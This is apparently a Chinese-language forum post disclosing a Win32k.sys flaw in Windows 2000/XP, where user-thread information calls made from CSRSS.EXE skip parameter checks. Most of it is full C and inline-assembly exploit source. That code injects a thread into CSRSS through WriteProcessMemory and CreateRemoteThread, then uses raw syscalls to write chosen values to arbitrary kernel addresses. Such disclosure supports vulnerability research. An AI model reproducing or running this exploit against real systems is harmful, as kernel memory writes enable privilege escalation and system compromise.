这个漏洞是在Win32k.sys的代码中的NtUserQueryInformationThread中存在的

这两个函数从WINDOWS 2000开始,只判断调用者当前进程是否是CSRSS.EXE,不对传入的参数做验证,导致了漏洞的产生,攻击者只需要使用某种方式进入CSRSS的进程空间内,就可以触发这种漏洞

这个漏洞在Windows 2003,Vista被修补了,但WINDOWS 2000/XP的全补丁版本没有修补

具体我使用的触发方式是使用一个InformationClass:UserThreadFlags

这个InformationClass允许设置一个线程的W32Thread->TIF_Flags,我们可以使用NtUserSetInformationThread给某个线程设置指定数值的TIF_Flags,再调用NtUserQueryInformationThread,输出Buffer传入我们想要写入的地址,就可以将指定数值写入指定的内核地址中了
这个InformationClass实际是传入一个结构USERTHREAD_FLAGS
第一个域是要设置的NewFlags,第二个域是dwMask,需要将dwMask设为0xFFFFFFF,才能成功写入

其中这个线程必须是GUI线程,同时关闭时需要还原TIF_Flags,否则被设置的线程可能出一些问题


下面是源代码:

代码:
#include "shlwapi.h"
#include "malloc.h"
#include "tlhelp32.h"

#pragma  comment(lib , "shlwapi.lib")


DWORD
GetProcessId( LPCTSTR szProcName )
{
  PROCESSENTRY32 pe; 
  DWORD dwPid;
  DWORD dwRet;
  BOOL bFound = FALSE;

  HANDLE hSP = CreateToolhelp32Snapshot( TH32CS_SNAPPROCESS, 0 );
  if ( hSP )
  {
    pe.dwSize = sizeof( pe );
    
    for ( dwRet = Process32First( hSP, &pe );
    dwRet;
    dwRet = Process32Next( hSP, &pe ) )
    {
      if ( StrCmpNI( szProcName, pe.szExeFile, strlen( szProcName ) ) == 0 )
      {
        dwPid = pe.th32ProcessID;
        bFound = TRUE;
        break;
      }
    }
    
    CloseHandle( hSP );
    
    if ( bFound == TRUE )
    {
      return dwPid;
    }
  }
  
  return NULL;
}
BOOL EnableDebugPrivilege()
{
  HANDLE hToken;
  BOOL fOk=FALSE;
  if(OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES,&hToken))
  {
    TOKEN_PRIVILEGES tp;
    tp.PrivilegeCount=1;
    if(!LookupPrivilegeValue(NULL,SE_DEBUG_NAME,&tp.Privileges[0].Luid))
      MessageBox(0 , "Can't lookup privilege value.\n" , 0 , 0);
    tp.Privileges[0].Attributes=SE_PRIVILEGE_ENABLED;
    if(!AdjustTokenPrivileges(hToken,FALSE,&tp,sizeof(tp),NULL,NULL))
      MessageBox(0 , "Can't adjust privilege value.\n", 0 , 0);
    fOk=(GetLastError()==ERROR_SUCCESS);
    CloseHandle(hToken);
  }
    return fOk;
}
typedef struct RWK_MEMORY{
  ULONG Addr ; 
  ULONG Value ; 
  BOOL  bOK ;
  ULONG ThreadId; 
}RWK_MEMORY , *PRWK_MEMORY;
#define _WIN32_WINNT 0x400
//
// ClientId
//

typedef struct _CLIENT_ID {
    HANDLE UniqueProcess;
    HANDLE UniqueThread;
} CLIENT_ID;
typedef CLIENT_ID *PCLIENT_ID;
typedef struct _OBJECT_ATTRIBUTES {
    ULONG Length;
    HANDLE RootDirectory;
    PVOID ObjectName;
    ULONG Attributes;
    PVOID SecurityDescriptor;        // Points to type SECURITY_DESCRIPTOR
    PVOID SecurityQualityOfService;  // Points to type SECURITY_QUALITY_OF_SERVICE
} OBJECT_ATTRIBUTES;
typedef OBJECT_ATTRIBUTES *POBJECT_ATTRIBUTES;
typedef CONST OBJECT_ATTRIBUTES *PCOBJECT_ATTRIBUTES;
#define InitializeObjectAttributes( p, n, a, r, s ) { \
    (p)->Length = sizeof( OBJECT_ATTRIBUTES );          \
    (p)->RootDirectory = r;                             \
    (p)->Attributes = a;                                \
    (p)->ObjectName = n;                                \
    (p)->SecurityDescriptor = s;                        \
    (p)->SecurityQualityOfService = NULL;               \
    }
#include "winbase.h"
void csrssshellthread(PRWK_MEMORY parm)
{
  //set TIF flags 
  //id of NtUserSetInformationThread = 520 + 4096 (XP)
  //id of NtUserQueryInformationThread = 479 + 0x1000(XP)
  //id of NtOpenThread = 128 (XP)
  CLIENT_ID ci ; 

  ci.UniqueProcess = 0 ;
  ci.UniqueThread = (HANDLE)parm->ThreadId ; 
  OBJECT_ATTRIBUTES oba ; 
  InitializeObjectAttributes(&oba , NULL , 0 , 0 , 0 );
  HANDLE threadhandle = 0;
  ULONG retlen ; 
  ULONG info[2];
  //0 = NewFlags

  info[0] = parm->Value ; 
  
  //1 = FlagsMask

  info[1] = 0xFFFFFFFF;

  ULONG oldFlags ;
  PVOID pInfo = info ; 
  ULONG addr = parm->Addr  ;

  __asm
  {
      
    lea  eax , ci
    push  eax
    lea  eax , oba
    push  eax
    push  0x60 
    //thread query /set information
    lea    eax , threadhandle
    push  eax
    mov     eax , 128
    //ntopenthread
    lea    edx ,[esp]
    int     0x2e
    add    esp , 4*4
//    call    openthread

    //call ntopenthread and get My gui thread handle

    test  eax , eax
    jl    failedx
    lea    eax ,retlen
    push  eax
    push  4
    lea    eax , oldFlags
    push  eax
    push  1
    //UserThreadFlags
    push  threadhandle
    mov     eax , 4575
    //NtUserQueryInformationThread
    lea    edx , [esp]
    int    0x2e
    add    esp , 5*4
    test    eax , eax
    jl    failedx
    //for save old flags

    //now we set thread flags
  
    push  8
    push  pInfo
    push  1
    //UserThreadFlags
    push  threadhandle
    mov     eax , 4616
    //NtUserSetInformationThread
    lea     edx, [esp]
    int    0x2e
    add     esp , 4*4
    test  eax , eax
    jl    failedx

    //now our thread flags is set to value
    //we query thread flags with kernel memory buffer
    //

    lea    eax ,retlen
    push  eax
    push  4
    push  addr
    push  1
    //UserThreadFlags
    push  threadhandle
    mov     eax , 4575
    //NtUserQueryInformationThread
    lea    edx , [esp]
    int    0x2e
    add    esp , 5*4
    test    eax , eax
    jl    failedx
    

    //write success!
//SET OLD FLAGS

    mov   eax , pInfo
    mov    ecx , oldFlags
    mov   dword ptr[eax] ,ecx 
    
    push  8
    push  pInfo
    push  1
    //UserThreadFlags
    push  threadhandle
    mov     eax , 4616
    //NtUserSetInformationThread
    lea     edx, [esp]
    int    0x2e
    add     esp , 4*4
    
    //set OK flag
    mov   eax , parm
    mov   dword ptr[eax + 8 ] , 1
failedx:
    mov   eax , threadhandle
    test  eax , eax
    jz  noneedclose
    push  threadhandle
    mov    eax , 25
    //NtClose
    lea    edx ,[esp]
    int    0x2e
    add    esp , 0x4
noneedclose:

    
  }

  return ;   
}
void __declspec(naked) nop_func()
{
  __asm{
    mov edx , edx
    retn 0
  }
}
void CCsrssVulnDlg::OnOK() 
{
  // TODO: Add extra validation here

    EnableDebugPrivilege();
    ULONG pid = GetProcessId("CSRSS.EXE");
    if (pid == 0 )
    {
      MessageBox("cannot get csrss.exe pid\n", 0,0);
      return ;
    }

    HANDLE hproc = OpenProcess(PROCESS_ALL_ACCESS , FALSE , pid);

    if (hproc == 0 )
    {
      CHAR msg [100];
      sprintf(msg ,"cannot open csrss! err = %u\n" , GetLastError() );
      MessageBox( msg , 0 , 0 );
      return ;
    }

    HMODULE hlib = LoadLibrary("ntdll.dll");
    PVOID pAddrAllocate = GetProcAddress(hlib , "ZwAllocateVirtualMemory");
    PVOID pAddrFree = GetProcAddress(hlib , "ZwFreeVirtualMemory");
    if (pAddrFree == 0 ||
      pAddrAllocate == 0 )
    {
      MessageBox("cannot get addr of Zw allocate/free memory routine!\n", 0 , 0 );
      CloseHandle(hproc);
      return  ;

    }
    ULONG Protect = PAGE_EXECUTE_READWRITE;
    ULONG AllocationType = MEM_RESERVE | MEM_COMMIT | MEM_TOP_DOWN;
    ULONG RegionSize = (ULONG)nop_func - (ULONG)csrssshellthread + sizeof(RWK_MEMORY);
    ULONG BaseAddr = 0 ;
    LONG  retvalue ; 
    __asm
    {
      push  Protect
      push  AllocationType
      lea    eax , RegionSize
      push  eax
      push  0
      lea    eax , BaseAddr
      push  eax
      push  hproc
      call  pAddrAllocate
      mov    retvalue , eax
    }
    if (retvalue < 0 )
    {
      CHAR msg[100];
      
      sprintf(msg , "ZwAllocateMemory failed! stat = %08x\n" , retvalue);
      MessageBox(msg , 0 , 0 );

      CloseHandle(hproc);
      return  ;
    }

    DWORD btw ; 
    RWK_MEMORY xxmemory ; 
    HANDLE hRemoteThread ;
    ULONG ThreadId;
    xxmemory.Addr= 0x804d8002 ; 
    xxmemory.Value = 0x12345678 ;
    xxmemory.bOK = FALSE ; 
    xxmemory.ThreadId = GetCurrentThreadId();
 
    PVOID pBuffer = malloc((ULONG)nop_func - (ULONG)csrssshellthread + sizeof(RWK_MEMORY));
    if (pBuffer == 0 )
    {
      MessageBox("allocate memory failed \n", 0 , 0);
      goto end ; 
    }

    CopyMemory(pBuffer , (PVOID)csrssshellthread , (ULONG)nop_func - (ULONG)csrssshellthread);
    CopyMemory((PVOID)((ULONG)pBuffer + (ULONG)nop_func - (ULONG)csrssshellthread) ,
      &xxmemory , 
      sizeof(RWK_MEMORY)
      );


    if (!WriteProcessMemory(hproc , 
      (PVOID)BaseAddr , 
      pBuffer ,
      (ULONG)nop_func - (ULONG)csrssshellthread + sizeof(RWK_MEMORY) , 
      &btw))
    {
      CHAR msg[100];
      sprintf(msg,"Write process memory failed err = %u\n" , GetLastError());
      MessageBox(msg , 0 , 0 );
      goto end ;  
    }

    hRemoteThread = CreateRemoteThread(hproc ,
      NULL ,  
      0 , 
      (LPTHREAD_START_ROUTINE)BaseAddr , 
      (PVOID)((ULONG)BaseAddr + (ULONG)nop_func - (ULONG)csrssshellthread),
      0,
      &ThreadId);


    if (hRemoteThread == 0 )
    {
      CHAR msg[100];
      sprintf(msg , "cannot create remote thread in csrss! err = %u\n" , GetLastError());
      MessageBox(msg , 0 , 0);
      goto end ;
    }

    WaitForSingleObject(hRemoteThread , INFINITE);



    if (!ReadProcessMemory(hproc ,
      (PVOID)((ULONG)BaseAddr + (ULONG)nop_func - (ULONG)csrssshellthread),
      &xxmemory , 
      sizeof(xxmemory) , 
      &btw))
    {
      MessageBox("shell code inject OK but cannot get status !\n" , 0 , 0 );
      goto end ; 
    }


    if (xxmemory.bOK == FALSE)
    {
      
      MessageBox("Write Kernel Memory failed!\n", 0 , 0);
    }
    else
    {
      MessageBox("Write Kernel Memory OK!\n", 0 , 0);
    }
    
end:
    ULONG freeType = MEM_DECOMMIT;
    RegionSize = (ULONG)nop_func - (ULONG)csrssshellthread + sizeof(RWK_MEMORY);
    __asm
    {
      push  freeType
      lea    eax,RegionSize
      push  eax
      push  BaseAddr
      push  hproc
      call  pAddrFree
    }
    CloseHandle(hproc);
    if (pBuffer)
      free(pBuffer);

    return  ;
  
}